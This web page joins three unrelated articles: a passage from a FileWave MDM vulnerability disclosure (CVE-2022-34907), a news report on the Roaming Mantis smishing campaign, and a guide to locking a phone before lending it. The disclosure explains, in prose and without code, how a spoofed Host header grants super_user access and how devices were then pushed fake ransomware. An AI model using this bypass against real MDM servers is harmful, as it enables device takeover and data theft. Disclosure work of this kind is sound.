This change had us stumped for a second, thinking our exploit is no longer viable. However, when we kept searching for new code, we discovered that FileWave added a new middleware (code which runs before requests are handled). This middleware, aptly named AppTokenMiddleware (and defined in /usr/local/filewave/django/fwauth/middleware.py) performs a similar action to the previous one used inside the older version of test\_func function.

**_**The new middleware function code.**_**

As we can see, this code looks really similar to the old code, comparing once again the Authorization Header to the scheduler secret. However, this time a new check is introduced, comparing request.get\_host() to localhost. If we pass this check, we will once again be granted the permissions of the super\_user. When we searched for what get\_host returns, we reached this documentation from Django:

As we can see, this value also comes from headers users supply, namely from the Host HTTP header. This means that because we supply this value, we can simply supply localhost as our value, thus passing this new check and gaining the super\_user permissions.

**_**We can see that in this request in newer versions of FileWave MDM, the** Host **header is changed to bypass the new check and be** localhost**, thus passing the check and gaining the privileges of** super\_user._**

Using this vulnerability, in either variety described above, we were able to gain highest privileges in all versions of the FileWave MDM. This allows us to gain the ability to attack and control every instance exposed to the internet. This enables us to control all of the servers’ managed devices, exfiltrate all sensitive data being held by the devices, including usernames, email addresses, IP addresses, geo-location etc, and install malicious software on managed devices.

**Proof-of-Concept Exploit**

In order to showcase this vulnerability and the severity and potential harm it can cause, we created a standard FileWave setup, and enrolled 6 devices of our own. Then, using this vulnerability, we exploited the MDM web server, which allowed us to leak data about all of the devices managed by this MDM server. 

Lastly, using regular MDM functionality which allows IT administrators to install packages and software on managed devices, we installed malicious packages on each controlled device, popping a fake ransomware virus on each of those managed devices. Doing so, we demonstrated how a potential attacker can leverage Filewave’s capabilities in order to take control over different managed devices.

We started our testbed with multiple devices connected to the Filewave server.

Then, we ran our exploit in order to bypass authentication on the MDM server and gain administrative access to it. Using this access, we exfiltrated information about the managed devices, including their operation system, ecosystem, settings, and much more.

Finally, We pushed a malicious package to all of the managed devices, which resulted in us being able to execute remote code on all devices. We used it to install fake ransomware on each device.

****Acknowledgement****

Team82 would like to thank Filewave for its coordination with us in working through this disclosure, and for its swift response in confirming our findings and swiftly patching these vulnerabilities. Filewave has addressed these issues in a recent update v14.7.2 and worked with their customers to patch or update affected systems.

CVE-2022-34907: Filewave MDM Security Vulnerabilities Uncovered by Claroty

The mobile threat campaign tracked as Roaming Mantis has been linked to a new wave of compromises directed against French mobile phone users, months after it expanded its targeting to include European countries.
No fewer than 70,000 Android devices are said to have been infected as part of the active malware operation, Sekoia said in a report published last week.
Attack chains involving Roaming

The mobile threat campaign tracked as **Roaming Mantis** has been linked to a new wave of compromises directed against French mobile phone users, months after it expanded its targeting to include European countries.

No fewer than 70,000 Android devices are said to have been infected as part of the active malware operation, Sekoia said in a report published last week.

Attack chains involving Roaming Mantis, a financially motivated Chinese threat actor, are known to either deploy a piece of banking trojan named MoqHao (aka XLoader) or redirect iPhone users to credential harvesting landing pages that mimic the iCloud login page.

"MoqHao (aka Wroba, XLoader for Android) is an Android remote access trojan (RAT) with information-stealing and backdoor capabilities that likely spreads via SMS," Sekoia researchers said.

It all starts with a phishing SMS, a technique known as smishing, enticing users with package delivery-themed messages containing rogue links, that, when clicked, proceed to download the malicious APK file, but only after determining if a victim's location is within French borders.

Should a recipient be located outside France and the device operating system is neither Android nor iOS – a factor ascertained by checking the IP address and the User-Agent string – the server is designed to respond with a "404 Not found" status code.

"The smishing campaign is therefore geofenced and aims to install Android malware, or collect Apple iCloud credentials," the researchers pointed out.

MoqHao typically uses domains generated through the dynamic DNS service Duck DNS for its first-stage delivery infrastructure. What's more, the malicious app masquerades as the Chrome web browser application to trick users into granting it invasive permissions.

The spyware trojan provides a pathway window for remote interaction with the infected devices, enabling the adversary to stealthily harvest sensitive data such as iCloud data, contact lists, call history, SMS messages, among others.

Sekoia also assessed that the amassed data could be used to facilitate extortion schemes or even sold to other threat actors for profit. "more than 90.000 unique IP addresses that requested the C2 server distributing MoqHao," the researchers noted.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Roaming Mantis Financial Hackers Targeting Android and iPhone Users in France

The next time someone wants to borrow your device to make a call or take a picture, take these steps to protect your privacy.

From the nephew who wants to play games for a few minutes, to the friend who wants to see your vacation snaps, to the stranger who needs to make a call, there are going to be people who want to borrow your phone.

That's quite a privacy and security risk if you think about everything that your phone gives you access to: social media profiles, banking details, instant messenger conversations, photos and videos that you'd rather the world didn't see, and so on.

However, there are ways to hand over your phone to someone else without having to worry about what they might get up to on it. You just need to make sure that you've taken a few precautions before the exchange takes place.

iPhone

Guided Access is built into iOS.

Apple via David Nield

(Apple via David Nield)

The feature you need to know about on the iPhone is called Guided Access, and you can enable it by opening up iOS Settings and choosing **Accessibility** and **Guided Access**. Turn the **Guided Access** toggle switch on and the feature is ready to go—just make sure you use **Passcode Settings** to set a passcode to protect Guided Access mode.

To actually turn Guided Access on, you need to triple-tap the home button if your iPhone has one, or the side button if it doesn't. You can then tap **Options** to configure how Guided Access is going to work: You're able to restrict access to the volume buttons, for example, and the software keyboard. You can even turn off touchscreen functionality and put a limit on Guided Access mode. Tapping **Start** launches Guided Access.

Whoever is using the iPhone is then locked into the current app, so you need to open up the app in question—the Phone app, a particular game, or whatever it is—before you triple-tap the button on your device to launch Guided Access. You get out of Guided Access with another triple-tap of the same button, at which point you'll need the passcode that you set at the start.

The idea is that without the passcode, the person using your iPhone can't get out of the app you've put them in—there's no way to switch apps, open up the Control Center, or even turn the phone off. It's worth being aware of the app that they're in, though, and what they can do inside that app: If you're showing someone your photos, they'll be able to access all of them.

One extra option in the Photos app is to hide photos and videos by opening them, tapping the share button (bottom left), and choosing **Hide**. This hides these pictures and clips in a special Hidden folder. They won't be visible in normal view in the Photos app, and they won't appear in searches, but the person borrowing your smartphone can still get at them by choosing **Hidden** from the **Albums** tab.

Android

Apps can be pinned inside Android.

Google via David Nield

If you're using an Android device, you can take advantage of a feature similar to Guided Access on iOS. It's called App Pinning, and again the idea is that the person borrowing your phone is limited to one app. They're not able to get to another app or access the phone's settings without a PIN code set by you.

There are certain software variations among Android phone makers when it comes to finding and enabling App Pinning, but you should be able to find it without too much trouble. On the stock version of Android that Google puts in its Pixel phones, you can enable it by going to the main Android Settings menu, then choosing **Security**, **Advanced Settings** and **App Pinning**.

Turn on the **Use App Pinning** toggle switch, and make sure that **Ask for PIN Before Unpinning** is enabled as well—this prevents everyone but you from switching apps. To find the app you want to pin, swipe up and hold from the bottom of the screen until you see thumbnails of your recently used apps. Find the one you want, tap the app icon at the top, and choose **Pin** from the drop-down menu. 

To get out of app pinning, swipe up and hold from the bottom of the screen again. The phone will be locked, and your PIN code will be required to regain access and move between apps. Assuming that the person borrowing your phone doesn't know your PIN, you'll be able to keep them in one app.

Like Apple Photos, Google Photos can also hide photos and videos, which can help if someone is browsing through your pictures. Open an image or clip, tap the three dots (top right), then choose **Move to Locked Folder**—the photos and videos that you send here can't be accessed without unlocking your phone first, which will require a PIN, a fingerprint scan, or a face scan, depending on how you've set it up.

Tag

#ios